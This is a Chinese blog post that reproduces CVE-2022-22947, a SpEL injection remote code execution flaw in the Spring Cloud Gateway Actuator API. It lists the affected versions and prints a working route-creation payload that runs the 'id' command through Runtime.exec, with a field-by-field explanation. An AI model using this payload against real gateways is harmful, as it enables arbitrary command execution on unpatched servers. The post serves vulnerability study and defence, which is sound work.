漏洞复现----42、Spring Cloud Gateway Actuator API SpEL表达式注入命令执行(CVE-2022-22947)
文章目录
- Spring Cloud Gateway
- 漏洞版本
- 漏洞复现
- 1、IP:端口,抓包修改请求包,构造包含恶意SpEL表达式的路由
- 2、刷新网关,触发SpEL表达式执行
- 3、查看SpEL表达式执行结果
- 4、删除所添加的路由
- 5、刷新路由
Spring Cloud Gateway
Spring Cloud Gateway是Spring中的一个API网关。其3.1.0及3.0.6版本(包含)以前存在一处SpEL表达式注入
漏洞,ShortcutConfigurable 接口
的 getValue()
中使用了 StandardEvaluationContext
类来执行 SpEL 表达式,当攻击者可以访问Actuator API的情况下,可以利用该漏洞执行任意命令。
漏洞版本
Spring Cloud Gateway 3.1.x < 3.1.1
Spring Cloud Gateway 3.0.x < 3.0.7
旧的、不受支持的版本也会受到影响
漏洞复现
1、IP:端口,抓包修改请求包,构造包含恶意SpEL表达式的路由
{"id": "hacktest","filters": [{"name": "AddResponseHeader","args": {"name": "Result","value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"}}],"uri": "http://example.com"
}
id
:指定新路由的名称,必须全局唯一;
filters
:字段给这条路由指定若干个过滤器。过滤器用于对请求和响应进行修改;
name
:字段指定要添加的过滤器,这里添加了一个 AddResponseHeader 过滤器,用于 gateway 给客户端返回响应之前添加一个响应头;
args.name
:字段指定要添加的响应头;
args.value
:字段指定响应头的值。这里的值是要执行的 SpEL 表达式,用于执行 id 命令。注意需要将命令输出结尾的换行符去掉,否则过滤器执行时会抛出异常说「响应头的值不能以 \r 或 \n 结尾」;
uri
:字段指定将客户端请求转发到 http://example.com。
2、刷新网关,触发SpEL表达式执行
3、查看SpEL表达式执行结果
4、删除所添加的路由
5、刷新路由
漏洞复现----42、Spring Cloud Gateway Actuator API SpEL表达式注入命令执行(CVE-2022-22947)相关推荐
- Spring Cloud Gateway 监控器API
/ gateway执行器端点允许监视Spring Cloud Gateway应用程序并与之交互.要进行远程访问,必须在应用程序属性中通过HTTP或JMX启用和公开端点. application.pro ...
- Spring Cloud Gateway高危漏洞修复方案
小菜鸟的个人博客已经正式上线且对外开放啦- 博客访问地址:小菜鸟的大梦想 欢迎各位同学扫码关注本人公众号 ↓↓↓ 更多优质内容将 首发 公众号 2022年3月1日,Spring官方发布了关于Sprin ...
- Spring Cloud Gateway rce
Spring Cloud Gateway rce cve-2022-22947 漏洞描述: Spring Cloud Gateway是Spring中的一个API网关.其3.1.0及3.0.6版本(包含 ...
- Spring Cloud Gateway 2.1.0 中文官网文档
目录 1. How to Include Spring Cloud Gateway 2. Glossary 3. How It Works 4. Route Predicate Factories 5 ...
- Spring Cloud Gateway 3.1.3最新版中文手册官网2022
Spring Cloud Gateway 3.1.3 该项目提供了一个库,用于在 Spring WebFlux 之上构建 API 网关.Spring Cloud Gateway 旨在提供一种简单而有效 ...
- 网关 翻译版本 spring cloud gateway
Spring Cloud Gateway 官网原文地址 https://docs.spring.io/spring-cloud-gateway/docs/current/reference/html ...
- 有什么办法动态更改yml的值吗_基于Redis实现Spring Cloud Gateway的动态管理
转载本文需注明出处:微信公众号EAWorld,违者必究. 引言: Spring Cloud Gateway是当前使用非常广泛的一种API网关.它本身能力并不能完全满足企业对网关的期望,人们希望它可以提 ...
- Spring Cloud Gateway 入门
认识 Spring Cloud Gateway Spring Cloud Gateway 是一款基于 Spring 5,Project Reactor 以及 Spring Boot 2 构建的 API ...
- Spring Cloud Gateway远程代码执行CVE-2022-22947漏洞分析及复现
0x01 漏洞描述 Spring Cloud Gateway 是基于 Spring Framework 和 Spring Boot 构建的 API 网关,它旨在为微服务架构提供一种简单.有效.统一的 ...
最新文章
- 朴素、Select、Poll和Epoll网络编程模型实现和分析——Poll模型
- beta冲刺(2/7)
- Java集合HashSet
- tomcat配置一个线程来调试ThreadLocal的代码问题
- Linux运维趋势采摘 -14期 【第一次编辑】
- vue中mixins的使用方法和注意地方
- 微信收款音响s3服务器断开,微信收款音响s2和s3有什么区别
- 尚学堂java 答案解析 第六章
- Python3实现百度云盘资源自动转存
- Windows Server AppFabric简介
- 禁止搜狗拼音输入法自动更新
- 怎么查看电脑配置详情
- 数学中的哈斯图如何构造?附实例
- 2023java面试看完这篇笔记薪资和offer稳了!
- KMP算法-严蔚敏数据结构
- 被阿里舍弃,2020年了,还有人在迷恋Oracle数据库?
- 物料账期、财务账期之间区别
- 【历史上的今天】3 月 19 日:图灵奖人工智能先驱诞生;微软发布 IE8;Android Auto 上线
- [ShaderGraph]15.云海效果
- Chatgpt人工智能的聊天机器人来给软件测试人员的影响是什么?